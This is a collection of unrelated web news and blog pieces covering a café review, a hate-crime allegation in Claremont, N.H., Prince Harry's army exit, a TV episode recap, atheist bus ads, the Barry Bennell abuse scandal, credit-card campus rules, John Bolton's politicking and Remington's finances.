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The actual building itself is very “modernized industrial.” There are plenty of windows that shed light into the warm, rustic and wooden interior. Pipes can be seen along the ceiling with beautiful geometric lights hanging down over a large carved wooden table. Several tables and chairs seem to be antique, and there are many succulents and leafy plants used as table decorations.
Over the past year, Smile Tiger has become increasingly busier. Parking is sometimes hard to find, and they have added extra parking in the bus terminal area. I have never had an issue getting a seat in the store, but I am very excited that the coffee shop has announced that they are expanding to a second location. It has been amazing to see this local business that is managed by the owners of DVLB, grow and thrive. The new location is expected to open this year, and will be located in Uptown Waterloo. |
A Sept. 12 demonstration in Claremont, N.H., was inspired by violence last month against an 8-year-old biracial boy that occurred while he played with a group of teenagers outside his home. (James M. Patterson/Valley News via AP)
It was around 5 p.m. on a Monday in late August, and an 8-year-old boy, like so many others that summer evening, was playing in a back yard. The others he was with had a few years on him — some were as old as 14 — and he had no reason to suspect that the picnic table or tire swing nearby would become tools for what his family alleges was a racially motivated near-hanging.
That night in Claremont, N.H., took a dark turn, the boy’s family claims, when the teens started taunting the boy with racial epithets and throwing sticks and rocks at his legs. Family accounts of the incident reported by the Valley News allege the teens stood on top of the picnic table and grabbed a rope attached to a tire swing.
“The (teenagers) said, ‘Look at this,’ supposedly putting the rope around their necks,” Slattery told the Valley News. “One boy said to (her grandson), ‘Let’s do this,’ and then pushed him off the picnic table and hung him.”
The boy swung back and forth three times before freeing himself, the newspaper reported.
No adults were in the back yard during the incident, according to the Valley News, so what happened on the evening of Aug. 28 has largely been drawn from the grandmother’s account provided to her by the boy and his 11-year-old sister, who was also in the back yard and went and found their mother, Cassandra Merlin, soon after.
The Claremont Police Department, in a statement, confirmed that the boy was treated and released from a hospital for injuries received during “this incident.”
A Facebook post from Aug. 28 by the boy’s uncle included a widely circulated photo of the boy’s neck, swollen and scarred.
The Valley News reported that Merlin drove her son to a nearby hospital and that he was later airlifted to the Dartmouth-Hitchcock Medical Center with rope burns and cuts to his neck. He did not suffer internal injuries.
“I think he had a guardian angel,” the boy’s grandmother Lorrie Slattery told the newspaper.
The incident has ignited local and national outcry over what has been cast by many, particularly on social media, as a hate crime against a biracial child. In recent weeks, family members and activists have expressed outrage over the lack of information given out by Claremont police, which has consistently cited confidentiality laws protecting juveniles.
Claremont Police Chief Mark Chase again cited the limitations of what could be revealed about the case in a statement released Tuesday and published by the Valley News. The news release was the first time police specified that the investigation revolved around people who were all ages 14 and younger.
Also on Tuesday, New Hampshire Gov. Chris Sununu (R) issued a statement calling for state police to assist officials in Claremont.
“Hatred and bigotry will not be tolerated in New Hampshire,” Sununu’s statement read.
Slattery told the Valley News that Aug. 28 wasn’t the first time the teenagers in the neighborhood used racial slurs against her grandson.
“When my sister calls me when something is wrong I feel it in my bones before ever picking up the phone,” the caption read. “Tonight I was spot on,” the uncle wrote in his Facebook post.
Comments on the post included calls to contact the NAACP and to charge the teens with committing a hate crime.
More than 100 people gathered at a Claremont park on Tuesday to show support for the boy’s family, the Boston Globe reported. Attendees prayed and joined in a chorus of “We Shall Overcome,” and many said they hoped the gathering would spark conversations about race relations in Claremont. The city of roughly 13,000 is nearly 96 percent white, according to the 2010 census, and .6 percent black or African American.
“We’re gathering to recognize that we have … a mountain of work to do to deal with racism in our community and virtually every community in America,” Rebecca MacKenzie, one of the organizers of the Claremont gathering, told the Globe.
Those kids that hung that 8 year old kid deserve life in prison. That was attempted murder and a hate crime. — Yo Confetti Ain't Eem Heavy (@RascalFKennedy) September 13, 2017
Biracial 8 year old boy bullied and hanged!!
What the heck is happening to people in this world!! 😤
Good thing he survived — Mr. Incorrigible (@rogueforce50) September 13, 2017
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Prince Harry is to leave the armed forces this year, the Evening Standard can reveal today.
He has taken the decision to end his active military career after having served two tours of duty on the front line in Afghanistan with distinction.
Harry, 30, plans to focus on his charity work and aims to spend “a significant period abroad” on field projects in Africa.
The Prince, known as Captain Harry Wales in the military, is keen to pursue his interests in “conservation and wildlife”. Until he leaves the forces and in future years, it is also believed he will focus on programmes to aid the rehabilitation of injured service personnel.
But before his active military duties end, the Standard understands he will move to Australia for “several weeks”, seconded to serve with units there. Later he will spend time in New Zealand but not be involved with the military there.
Harry is expected to join his father Prince Charles at the 100th anniversary Anzac Day dawn service at Gallipoli in April. It is understood he will already have travelled to Australia before flying to Turkey for that significant engagement.
Sources in Australia say the Prince is expected to fulfil several other non-military public duties Down Under.
The Governor Generals’ offices in both countries are understood to be currently working on his programme.
Kensington Palace would not comment on if and when he will leave active service.
But a spokesman said: “Prince Harry is currently focused on his work supporting the Ministry of Defence’s recovery capability programme to ensure those who are wounded, injured or sick have appropriate recovery plans and the necessary support they require.
“It’s a natural progression from the work he did organising the Invictus Games. This involves working alongside case officers in London District’s personal recovery unit and visiting various recovery centres and partner agencies (such as forces charities and the NHS) around the country.”
A senior source told us: “The Prince thought long and hard about his decision to leave active military service but, having served his country on two tours of duty, he felt the time was right to leave. He has loved his time serving.
“Officials are still working on the precise timings but he will leave the military this year after serving Down Under. Before that he will travel to both countries and be based there and is very much looking forward to that.
“The exact timings have not been finalised yet, but are expected to be announced officially very soon.”
Another source said: “Harry just felt it was time for a new chapter in his life. One of his plans is to spend a significant period in Africa working on areas to do with conservation and wildlife.
“He will also focus on his charities and maintain his interests in highlighting the plight of injured service staff.”
The Prince will also continue to represent the Queen on official duties both at home and abroad.
Harry — who completed two combat tours in Afghanistan and spent five months in the cockpit of a helicopter gunship there — has described his role as an Apache pilot fighting the Taliban as “the best experience ever” but ended his flying career last January.
He joined the Army in 2005 after graduating from Sandhurst and pleaded with defence chiefs to be allowed to serve in Iraq. Harry, who is fourth in line to the throne, was commissioned as a second lieutenant in the Blues and Royals in April 2006. An initial decision to let him serve on the front line was reversed after fears that he might be targeted by insurgents.
For security reasons he was refused permission to deploy to Iraq in 2007. That decision left him devastated and he was said to have considered leaving the Army.
But he was to get his wish to take part in active service, although not in the conflict in Iraq. In June 2007, he trained in Canada in preparation for a tour of duty of Afghanistan.
He became the first member of the royal family to serve in a war zone since Prince Andrew, Duke of York, was involved in flying helicopters during the Falklands conflict.
The Ministry of Defence confirmed at the time that Harry had been sent to Afghanistan as a forward air controller to Helmand province.
In May 2008 he received the Operational Service Medal for Afghanistan for his participation in the conflict
Harry had to return home early after foreign websites revealed he was serving in the conflict zone. He retrained as a helicopter pilot and learned to fly the Army Air Corps’ Apache gunship.
After training he served again in Afghanistan for just over four months at the end of 2012 and early 2013 as an Apache gunner with 662 Squadron, 3 Regiment Army Air Corps.
In January last year Harry announced he was to quit flying Apaches for a desk job in the Army. He took up the position of SO3 (Defence Engagement).
Prince Harry's military career 11 show all Prince Harry's military career 1/11 Harry quits A TV crew films the prince as he makes early morning checks on his Apache helicopter (Picture: WPA Pool/Getty Images) 2/11 Harry quits Scrambling to his Apache helicopter at Camp Bastion in November 2012 (Picture: AFP/Getty Images) 3/11 Harry quits Laying a poppy wreath with British troops and service personnel in Afghanistan on Remembrance Sunday last year (Picture: Getty Images) 4/11 Harry quits Placing a wreath at the tomb of the unknown soldier in a cemetery in Virginia 5/11 Harry quits Kitted out in service dress during an event at Lydiard Park (Picture: Jeremy Selwyn) 6/11 Harry quits Walking through the British controlled flight-line at Camp Bastion during his four months from September 2012 as an Apache Helicopter Pilot/Gunner with 662 Sqd Army Air Corps (Picture: WPA Pool/Getty Images) 7/11 Harry quits Giving a thumbs-up to press after checking over his Apache helicopter during his stint at Camp Bastion in Helmand Province, Afghanistan (Picture: Getty Images) 8/11 Harry quits Harry salutes during a rendition of the Last Post at a Remembrance Sunday service in Kandahar last year (Picture: Getty Images) 9/11 Harry quits As a 23-year-old in 2008 during an early tour in Helmand (Picture: AFP/Getty Images) 10/11 Harry quits Sat in the front seat of the cockpit of an Apache Helicopter Pilot/Gunner at Camp Bastion in 2012 (Picture: Getty Images) 11/11 Harry quits Concentrating during a mission briefing (Picture: Getty Images) 1/11 Harry quits A TV crew films the prince as he makes early morning checks on his Apache helicopter (Picture: WPA Pool/Getty Images) 2/11 Harry quits Scrambling to his Apache helicopter at Camp Bastion in November 2012 (Picture: AFP/Getty Images) 3/11 Harry quits Laying a poppy wreath with British troops and service personnel in Afghanistan on Remembrance Sunday last year (Picture: Getty Images) 4/11 Harry quits Placing a wreath at the tomb of the unknown soldier in a cemetery in Virginia 5/11 Harry quits Kitted out in service dress during an event at Lydiard Park (Picture: Jeremy Selwyn) 6/11 Harry quits Walking through the British controlled flight-line at Camp Bastion during his four months from September 2012 as an Apache Helicopter Pilot/Gunner with 662 Sqd Army Air Corps (Picture: WPA Pool/Getty Images) 7/11 Harry quits Giving a thumbs-up to press after checking over his Apache helicopter during his stint at Camp Bastion in Helmand Province, Afghanistan (Picture: Getty Images) 8/11 Harry quits Harry salutes during a rendition of the Last Post at a Remembrance Sunday service in Kandahar last year (Picture: Getty Images) 9/11 Harry quits As a 23-year-old in 2008 during an early tour in Helmand (Picture: AFP/Getty Images) 10/11 Harry quits Sat in the front seat of the cockpit of an Apache Helicopter Pilot/Gunner at Camp Bastion in 2012 (Picture: Getty Images) 11/11 Harry quits Concentrating during a mission briefing (Picture: Getty Images)
His responsibilities included helping to co-ordinate significant projects. One was the successful Invictus Games, supporting injured service personnel.
When he announced his decision to leave the Army Air Corps last January Lt Col Tom de la Rue, who commanded him in the service, said: “Captain Wales has reached the pinnacle of flying excellence as an Apache pilot, particularly in Afghanistan.
“In the process he has proved to be a real inspiration to the many Army Air Corps officers and soldiers who have come to know him so well over the last two years.”
Prince William left his full-time active armed forces job as an RAF Search and Rescue Pilot at around the same age as his brother.
Prince Charles finished his active career in the Royal Navy aged 28 when he relinquished his command of HMS Bronington. |
In pursuit of knowing his enemy’s greatest weakness, Jafar travels to London with the help of the White Rabbit. Having recently freed from Jafar’s tower, Cyrus and Alice tried to find one another, only to be faced with a challenge of their own.
It looks like this episode both had good and bad spots. The Boro Grove scene feels more like a filler, kind of unnecessary; it was a bit too long and could have been summed up a little quicker.
Victorian England — 1 Year Ago
When Alice popped out from the hole, Alice seemed surprised. Did she went back to London unwillingly? Who sent her back home? Was it the White Rabbit or the Red Queen? Has the White Rabbit already been working for the Red Queen since then?
When Alice went back, she was surprised to find out that her father has a new family already. How long was she in Wonderland, anyway? Did her father told his new wife about his daughter? She doesn’t seem very welcoming of Alice and almost looks like she doesn’t want Alice around. Is she just protecting her daughter, Millie?
Alice was accepted in their home but does her father really wanted her back? He barely touches her when he talks to her, after all.
We noticed another LOST reference — Alice’s eye through the keyhole. We were also reminded a little of Jane Austen’s Pride and Prejudice with the Darcy boy.
Looks like Sarah, Alice’s step-mother, is Edwin’s personal Boro Grove; always telling him that “everything’s going to be fine, She’s going to be happy, she’s a wise girl for checking into the nut house” when clearly, Alice was obviously in pain.
Is it her father the other person that Alice loves? Because when she left to go to the asylum, Alice seems to be thinking more about her father’s sake. However, before leaving, the last thing that she saw was of her father showing affection to her stepsister Millie. And if Jafar brings Alice’s father back, will it be to his advantage or will it backfire? Alice wanted her father to believe in her all along but Edwin didn’t.
While having dinner, Alice said that she liked the daisies in the table, but her stepmother corrected her that it was Dahlia.
Dahlia’s are spicy flowers, and their meanings range from a sign of warning, to change, to travel, to even a portent of betrayal. The varied symbolic meanings of the dahlia make this flower a wild card. Give to that unique, eclectic person whom you wish to compliment his/her wild side. Combine them with slender flowers like irises or tulips for a striking visual display as well as a combined symbolic message that says “temper your adventures with a kind heart.”
We didn’t really learn about Alice’s father’s name until before the show ends. It suddenly reminded us of Edwin, Earl of Mercia. Is he really Edwin, Earl of Mercia or just another name that the creators thought of?
Where do Alice’s step-family think she has been all these years? How can they just assume everything she is saying is false? Has Alice not aged since the last time they saw her? How long did Alice actually stayed in Wonderland? Did she, somehow, grow up in (and out) of Wonderland? How many times did Alice went back and forth? How does time work between Wonderland AND Victorian England?
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In the Present (Victorian England)
The episode started with Dr. Arthur Lydgate pouring a drop of Pure Laudanum in his drink. Is he trying to kill himself or simply just wanting to forget about seeing the White Rabbit? He did say that he was trying so hard to forget. Is he drinking poison as a pain-killer?
Jafar went to Dr. Lydgate to get to his head to tell him everything her know about Alice. If the White Rabbit told Jafar of Alice’s father, why didn’t Jafar went straight to Edwin? Does that mean that the White Rabbit didn’t tell him of her father, but Dr. Lydgate did? Or is the White Rabbit simply buying time by telling Jafar of the doctor?
Who is Jafar taking to Wonderland back with him? Is it Millie or Alice’s father? Jafar did say that he knows what happened to Alice after she escaped in the asylum and that he can take him to her, after all. Edwin looked a bit surprised when Jafar mentioned Alice. Is he still hoping to see his daughter, somehow? If Jafar takes Edwin back with him to Wonderland, how will he use him against Alice?
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Wonderland
The Red Queen went to Jafar’s tower, only to find out an empty castle, Cyrus’s empty cage, and the other man in the other cage. The Red Queen questions the other man regarding Jafar’s whereabouts, but the prisoner doesn’t want to cooperate either. The Red Queen, on the other hand, uses her magic to inflict pain in him. The man eventually told her, but he also said that Cyrus “carries with him the greatest power of all — true love.” Does the man know more than he appears?
It seemed that everyone kept underestimating the Red Queen in the past episodes but the Red Queen said that she knows how to get dirty, and getting her hands dirty she went on. Apparently, the Red Queen thinks that she could win the game and gain an upper hand against Jafar by finding Alice, Cyrus and his bottle before Jafar does. However, knowing that the Tweedles are secretly working for Jafar, is the Red Queen’s plan safe?
Alone, Alice continues to find Cyrus by keep heading west, eventually heading the Black Forest and the Boro Grove. The two men warned her that, it’s so dark you can’t even find your own nose. Being the brave girl that she is, Alice fought the two men and walked into the Black Forest alone. Along the way, Alice saw several signs to the dark forest.
The Boro Grove kinda looked like an odd thing to add to the story. What is its significance to the story? The carpenter inside kinda reminds us of part in the poem of The Walrus and The Carpenter in Lewis Carroll’s second book Through the Looking-Glass and What Alice Found There. How did he came to the forest? Are we going to know more about him in the future?
Alice remembered everything just when she touched the necklace after Will tossed it to her. This suddenly reminded us of when Emma Swan touched Henry’s book when he was put into the sleeping curse (in Once Upon a Time).
Will said that his heart had been literally ripped out of his chest. Who ripped it out? Cora? This, too, reminded us of when Cora ripped her own heart and not wanting to feel all the feelings of a broken heart. Where is Will’s heart? Is it in Storybrooke? He was in Storybrooke, anyway. Did the Evil Queen Regina brought Will to Storybrooke as well because he stole the looking glass from her friend, Maleficent?
The title “Who’s Alice” actually came from the scene in the Boro Grove. Furthermore, the Boro Grove was actually mentioned in the poem from the Jabberwocky in Through the Looking Glass. No wonder the carpenter said that smelling the fume made her feel mimsy.
It seemed that Jafar’s tower was in a floating island. And while Cyrus may feel trapped at first, not even a floating island can stop him from finding Alice. So while he may be trapped in the floating island at first with no way out, Cyrus jumped off the cliff and through the water just to get to Alice. Will he survive? What awaits him in the water? Are we going to know more about Will’s heart and its whereabouts? Do tell us by sending us a feedback or commenting below.
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Spoilers |
This provocative twist on the Bible’s opening line was plastered on the side of 25 Chicago buses this week as part of an advertising crusade by the Indiana Atheist Bus Campaign.
The ads have been cruising between downtown and the city’s North and South sides, including the No. 56 Milwaukee route, since the beginning of the week and will run through June.
"The intent of the campaign is to stimulate discussion of religion and its place in our society," said Charlie Sitzes, a spokesman for the Indiana group who with help from the American Humanist Association has collected more than $10,000 in private donations to buy the ad space in Indiana and Illinois.
The group brought its message to Chicago after a similar campaign in Indiana – to post the slogan "You can be good without God" – was rejected by transit authorities in Bloomington and stalled by officials in South Bend, who didn’t want the ads posted in time for President Barack Obama’s speech at Notre Dame.
Indiana's chapter of the American Civil Liberties Union has sued the Bloomington Public Transportation Corporation on the atheist group's behalf. Bloomington Mayor Mark Kruzan has denounced his own transit system, saying he does not condone government censorship.
"It would appear that where there is more opposition to the message that maybe that would be the place where we needed dialogue more," Sitzes said, maintaining that the slogan is a simple fact.
"All non-believers believe God is a creation of man," he said. "We used to have thousands of gods. Now we’re down to one. We’re getting closer to the true number."
Among the guidelines for determining if an advertisement can run on the CTA is a requirement that the ad be truthful and is "not directed at inciting imminent lawless action."
Last year, eight religious organizations advertised on the city’s mass transit including Muslims, Roman Catholics, Christian Scientists and Seventh Day Adventists. Trinity Christian College is the only religious organization currently advertising on CTA.
Sitzes regrets that the ad campaign– inspired by similar signs in Europe– has encountered so much opposition in his home state. British ads sarcastically consoled passengers with the message: "There’s probably no God. Now stop worrying and enjoy your life."
Last November, the American Humanist Association plastered buses in the nation’s capital with pictures of a man in a Santa suit asking: "Why believe in a god? Just be good for goodness’ sake."
"[Chicago’s] slogan makes the point that religion is a social, man-made creation – like literature, art, politics, and science – and as such, it should be subject to debate like everything else," Sitzes said. He said the perspective of atheists, agnostics and secular humanists are often ignored in the public square
"Atheists, agnostics and secular humanists have a unique perspective on the topic that usually gets ignored in public discussion, and we’d like to make ourselves heard," he said. "The ads aren’t an attack on religious people but an affirmation of a different point of view."
What do you think? Conversation starter or attack ad? |
Former English soccer coach and recruiter Barry Bennell appears in a Duval County courtroom in Jacksonville, Fla., in June 1995. (Will Dickey/Florida Times Union via Associated Press)
Two weeks ago, retired British professional soccer player Andy Woodward stepped out from the shadows, telling the Guardian newspaper in an extensive interview that he was raped hundreds of times as a child by serial pedophile Barry Bennell, a former elite youth soccer coach who used his power and prestige in the sports world to lure, manipulate and sexually abuse his players decades ago.
What was shocking about Woodward’s raw account was not the identity of his abuser, for Bennell had been convicted of raping him decades ago. It was the former player’s speculations that Bennell may have victimized hundreds of other boys like him — and that the sexual abuse of players by coaches in the English youth soccer network was far more widespread than anyone in the 1980s and 1990s knew.
Around the country, other former players, now men, read Woodward’s words.
Then they started stepping forward themselves.
Now, dozens have reported to authorities and alleged in media interviews that Bennell and other coaches sexually abused them as boys, casting a large and darkening cloud over the entire English soccer enterprise. The growing case has drawn comparisons to the sexual abuse scandal that rocked the Penn State football program in the United States in 2011.
On Monday, Bennell, 62, was hospitalized after police responded to a “fear for welfare incident,” authorities told the Associated Press.
The next day, on Tuesday, he was arrested for the fourth time in three decades for crimes related to his serial pedophilia in the 1980s. He was charged with eight counts of sexual assault, the Crown Prosecution Service said in a statement, which encouraged onlookers to allow him a fair trial, despite his previous convictions.
The most recent charges only highlight what his accusers have alleged in recent weeks — that through manipulation and intimidation, Bennell preyed on young boys for years before anyone had the courage to come forward. Some victims have even alleged that the clubs that employed Bennell knew of his wrongdoing, but did not report them to authorities.
“I believe there was a conspiracy and pedophile ring,” Jason Dunford, a youth team player with Manchester City, told the BBC on Friday in an interview about his own allegations against Bennell. “There were people at those clubs who had a duty to look after boys coming through their system.”
Bennell had been working with youth players for nearly 20 years before he was first prosecuted, in 1994.
The coach had escorted a group of 17 players, ages 11 to 15, from their home in England to the United States, where they played other youth leagues in Florida for the summer. The first team was there from May to July before another group of boys flew to Florida to replace them.
Bennell, a renowned and respected talent scout, stayed behind and waited.
By then the middle-aged Bennell had made a career of wowing young boys and their parents with his exceptional soccer skills, promising them opportunities to train with him and, if they worked hard enough, to earn a spot in the world of professional soccer. Trips like the one to Florida would increase those chances. The parents — and their children — trusted him.
But upon the team’s return to England, one 13-year-old boy revealed something disturbing: Bennell had spent the Florida trip sexually abusing him.
It was the first break in a case that eventually would reveal a long history of sexual abuse by Bennell. He served three years in a U.S. prison after pleading guilty to custodial sexual battery for the Florida abuse, then was deported back to England, where more allegations from six former players, including Woodward, landed him in prison again, in 1998. Nearly two decades later, in 2015, an English court again sentenced Bennell, who had changed his name, to two more years in prison for abusing a 12-year-old boy in 1980.
A general view outside of the English soccer team Crewe Alexandra’s Alexandra Stadium, in Crewe northern England on Nov. 25. (Martin Rickett/Press Association via AP)
After Bennell’s first conviction in Florida, details of the coach’s grooming methods came out in court and newspaper articles. He would praise the boys and grant them special access to professional training facilities and games, invite them to his home for holidays or summer breaks. Then he would touch them, at practice facilities or in his bedroom, luring them with frightening ghost stories that made the boys too scared to sleep alone.
Although the charges and prison time stemmed from allegations made by at least eight boys, their identities were kept secret. Publicity was minimal. The true scope of Bennell’s crimes — and possibly those of other youth coaches from that time period — have yet to be fully explored.
But this month, when Woodward spoke out in the Guardian, other victims, emboldened by their former teammate, started to talk, including Manchester City’s David White and Crewe Alexandra’s Steve Walters, who say Bennell sexually abused them.
“All these years, I’ve had this secret inside me,” Walters told the Guardian. “But I have to let it all out now. It’s the only way. I want closure and I know, for a fact, this is going to help me move on. It’s been unbearable but, just from reading the article from Andy, it already feels like a massive burden off my shoulders. I have to do this, and I just hope it will help bring more people forward, too.”
A fourth former professional player, Paul Stewart, who played for the Tottenham Hotspur in London and for Liverpool, has told the Daily Mirror that a different coach, whom the tabloid did not name, abused him for four years after promising to “make him a star.” The Guardian reported last week that two players have independently told the newspaper another soccer coach, who was not named, abused them.
These high-profile admissions have led to a flood of private ones. Last week, Michael Bennett, head of player welfare at the Professional Footballers’ Association, told the Associated Press that eight players contacted him in a 24-hour period about going public with abuse allegations. By Monday, at least five police forces across England had opened investigations of sexual abuse in soccer after being contacted about Bennell and other unnamed people, the AP reported. One police department based near Crewe in Cheshire and Manchester said that 11 people contacted them last week with allegations against more than one person.
“They have been very courageous in coming forward after suffering in silence for years,” Bennett told the AP on Friday. “I think the dam has just been busted, the guys who have come forward have been a catalyst.”
English soccer player Andy Woodward, pictured in August 1992, gave an account of his sexual abuse by Barry Bennell, published in the Guardian two weeks ago, that helped prompt other players to go public with allegations. (Malcolm Croft/Press Association via Associated Press)
A fifth abuse victim, David Lean, who played for a reserve team, was the person at the center of the case that put Bennell behind bars for the third time in 2015. Like Woodward, Lean thinks Bennell could have victimized hundreds of boys, he told Sky News, adding that when he initially told authorities, “no one wanted to listen.”
“I am angry because I started this process and no one listened to me, and a footballer comes forward and everybody listens,” Lean told Sky News. “But at the same time, I am ecstatic [Bennell] is going to get what he deserved, and everyone who comes forward is being very, very brave.”
Accusations like Lean’s, that there was a lack of urgency by authorities and the Football Association to dig further into Bennell’s past, have members of Parliament calling for inquiries.
“The FA needs to look back to see were mistakes made in the past,” MP Damian Collins told the BBC. “Were clues overlooked? Was not enough done to investigate a problem that they may have been perceived?”
On Sunday, the Football Association appointed an independent attorney to oversee an internal review, ESPN reported, assessing “what information the FA was aware of at the relevant times, what clubs were aware of, and what action was or should have been taken.”
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Card issuers told:
Stay far afield from students The Credit CARD Act of 2009 bans card issuers from offering pizza, T-shirts, hats and other freebies in exchange for signing up for a credit card on "or near" campus. How close is near? On Sept. 29, the Fed clarified: 1,000 feet -- a distance of almost three football fields.
Card issuers can't market credit cards within 1,000 feet of a college campus, the Federal Reserve said Tuesday.
That's just one of many Credit CARD Act-related clarifications the Fed announced. The central bank -- continuing its efforts to protect young consumers from predatory card marketing -- also provided further guidance on who can act as a co-signer for someone who's under 21 years of age, what items issuers cannot give out to get someone to sign up for a credit card and more.
It is common practice for the Fed to follow up the release of a law, especially one as sweeping as the Credit CARD Act, with clarifications of some of the law's most vague language. While the Fed did shed light on some of the vagaries of the act, it failed to clarify others with quite the precision hoped for by college administrators and consumer advocates.
Here's a rundown of how the Fed fared on its college quiz:
Q: Card issuers will be prohibited from marketing credit cards "near campus." How is "near campus" defined?
A: The Fed defines "near campus" as "within 1,000 feet of the border of the campus of an institution of higher education, as defined by the institution of higher education." But it extends the forbidden zone to include "related events" such as concerts and sporting events.
Quoting the Fed: "An event is related to an institution of higher education if the marketing of such event uses the name, emblem, mascot, or logo of an institution of higher education, or other words, pictures, symbols identified with an institution of higher education in a way that implies that the institution of higher education endorses or otherwise sponsors the event."
That likely means college football bowl games are off limits for card merchandisers, too.
Q: What items are included under "prohibited inducements?"
A: The act bans any "tangible item ... such as a gift card, a T-shirt, or a magazine subscription" but does not prohibit discounts, rewards points or promotional credit terms to attract customers. The prohibition applies to mailings to students living on or near campus as well.
On the other hand, if the tangible item, such as a refreshment, is offered to a student regardless of whether they apply for a card, it is not considered an inducement.
The prohibitions apply solely to tangible offerings to college students on or near campus or at an event sponsored by an institution of higher education. The card issuer, however, must have "reasonable procedures" in place to determine if an applicant is a college student before giving them the tangible item.
Q: Who can be a co-signer, required by applicants under age 21?
A: The Fed struck all reference to parents, legal guardians and spouses included in the original language, reasoning that simply any individual over 21 years of age "having a means to repay debts incurred by the consumer" may qualify as a co-signer.
Attention, college students 21 and older: Expect to be hit up by younger sorority sisters and fraternity brothers at co-signing parties.
Q: Who can request a credit line increase?
A: The cardholder can make such a request with the written permission of their co-signer, who agrees to assume liability for the higher limit. The permission form is not required if the co-signer makes the request however.
Q: What does the phrase "an independent means of repaying" credit card debt mean?
A: Those younger than 21 must either secure a qualified co-signer, or provide financial information "indicating an independent means of repaying" their credit card debt. What's that mean?
According to the Fed, credit card issuers can request proof of ability to make minimum monthly payments that includes: salary, wages, tips, bonuses and commissions from full- or part-time jobs and self-employment as well as income from interest, dividends, child support, alimony payments, retirement benefits and public assistance. Card issuers may request this proof from co-signers or under-21 applicants. See "Want a credit card? Prove you can pay the bill" for more details.
Q: Does a secured credit card qualify as an "independent means of repaying?"
A: The Fed doesn't weigh in on this specifically.
Q: Does the Credit CARD Act cover lines of credit?
A: No. Although Title III referenced both credit card accounts and "open-end consumer credit plans," such as lines of credit, the Fed excluded the latter because the act applies solely to card issuers.
Q: Are the requirements on card issuers triggered when they issue a card or open an account?
A: Open an account. Quoting the Fed: "Otherwise, the provision could be construed to require card issuers to evaluate a cardholder's ability or obtain the signature of a co-signer even when a card is being sent to an existing cardholder to replace an expired card."
See related: Open season ends for credit card companies on campus, Guide to the Credit CARD Act of 2009 |
John Bolton, the former U.S. ambassador to the United Nations, speaks during the American Conservative Union Conference earlier this year in National Harbor, Maryland. Photo by Brendan Smialowski/AFP/Getty Images
John Bolton is beating a path between Washington, D.C., and New Hampshire. Bolton’s spokesman said the former United Nations ambassador will head to the Granite State this weekend to make a campaign stop for Republican House candidate Marilinda Garcia, with whom he held a national security press conference earlier this month. He will also do some phone-banking for the state Republican Party. On top of that, his political action committee recently gave the state party $10,000, and he will soon be announced as a member of the Chairman’s Circle (a small group of significant donors to the party that, per the Daily Caller also includes Sen. Kelly Ayotte, former Sen. Scott Brown, and Sen. Rand Paul).
It appears to be part of Bolton’s effort to expand his role from a leading conservative foreign policy player to powerful politico. Bolton has never run for elected office and has spent the bulk of his career in the executive branch—he was in Ronald Reagan’s and George H. W. Bush’s administrations, as well as being George W. Bush’s undersecretary of state for arms control and international security before getting bumped up to the U.N. job.
Though he’s been a surrogate for Mitt Romney and John McCain, electoral politics is a bit of a shift from his M.O. And this cycle, he’s busy. His super PAC has made independent expenditures to run ads boosting Scott Brown and Garcia, his PAC and super PAC have together raised more than $7 million, and he’s endorsed 85 Republican candidates (including Maryland congressional candidate Alex Mooney, Iowa Rep. Steve King, Arizona congressional candidate Martha McSally, Arkansas Senate candidate Tom Cotton, New York congressional candidate Elise Stefanik, and Kansas Sen. Pat Roberts).
The trip won’t just be about politicking, though. Bolton is also slated to have a private meeting with the executive director of the New Hampshire Institute for Politics, a rite of passage for serious potential presidential contenders. In August 2013, he told the National Review that he was eyeing a 2016 presidential bid, citing dismay at President Obama’s foreign policy. That still seems to be very much on the table.
In an email, Bolton described himself as “a libertarian conservative on most domestic issues” and was critical of both parties for de-emphasizing the national security issues that are his bread and butter.
“I set up the PAC and SuperPAC because national security has been eclipsed by other issues under the Obama administration and due to an inadequate Republican response,” he wrote. “It’s been a mistake for the country and I’m determined to change that.”
Whether or not he thinks he needs to run for president to change that is unclear. But trekking up to New Hampshire in late October certainly suggests that’s a possibility.
“John has made it a point to have [national security] front and center in any 2016 election campaign,” said Charlie Kupperman, the treasurer of the Bolton for New Hampshire PAC. “I don’t think any candidate that decides to run will be able to ignore that dimension.”
Will the rise of ISIS and the conflict in Ukraine earn Bolton’s hawkish foreign policy views a better reception in New Hampshire than they might have otherwise received?
“The American people are very pragmatic and well ahead of their political leadership in understanding why national security has never faded as a real issue,” he emailed. |
Although gun sales were up in 2015, firearm conglomerate Remington Outdoor Company reported a $135.2 million loss for the year, according to annual financial filings released this month.
The company attributed the loss to the 2014 move to Huntsville, Alabama, where it is consolidating operations for roughly half of the companies under the Remington umbrella, and an expansion of an Arkansas ammo plant. In the annual filing, Remington described the expenditures as one-time “restructuring and start-up” costs that would span two years.
Remington’s loss in 2015 was made up of an additional $72.7 million in operating costs, and $68.4 million in federal excise taxes, according to the filing. In 2014, the company reported a $68.2 million loss, which is just shy of half the total loss in 2015.
Annual net sales totaled $808.9 million, down $130.4 million in 2014. Of the total, firearms contributed $375.2 million, ammo $355.7 million, and other consumer goods $78 million.
Remington said the $46.3 million decrease in gun sales was caused by a soft hunting season, decline in the 1911 handgun market, discontinued products, and “a delayed response to changes in the market and a trend toward value price point products.”
Ammo sales were also down last year as the company saw a $49.2 million decrease in sales. Consumers spent $33.2 million less in centerfire ammo and $21.8 million less in shotgun shells. Other ammo products decreased by $6.1 million.
Consumer goods decreased by $34.9 million. The company explains it was the result of lower sales of parts, clothes, and airguns and accessories.
However, gun sales were high overall in 2015. Figures for the National Instant Criminal Background Check System — used as a barometer for gun sales — were at a record high with more than 23.1 million for the year.
Competitors also ended quarterly and annual earnings in the black. Vista Outdoor, another conglomerate with more than 30 firearm and outdoor brands, reported in February third quarter sales totaling $593 million and raking in $43.2 million in profit. The company then raised annual financial expectations by $20 million.
For third quarter earnings, ending in March, Smith & Wesson reported $210.8 million in sales, which resulted in a $31.4 million profit. Nine months into fiscal 2016, the company generated $501.8 million. The Massachusetts gun maker, which expressed aspirations of becoming a broader outdoor brand, raised its goal for fourth quarter earnings by $5 million, putting estimates at $215 million for the quarter and $717 million for 2016.
Sturm, Ruger & Company reported that it finished 2015 with $551.1 million in net sales, an increase of $29.8 million, and raked in $23 million in profit.
Olin Corporation, owner of Winchester Ammunition, ended 2015 with $711.4 million in total sales for the ammo company. Although profits were lower, the difference was attributed to relocation costs.
In November, Moody’s Investors Service downgraded Remington’s corporate rating to “poor quality” investment and posing a “very high credit risk.” The service cited weak performance and said operational costs and debt will likely continue to outweigh earnings. |
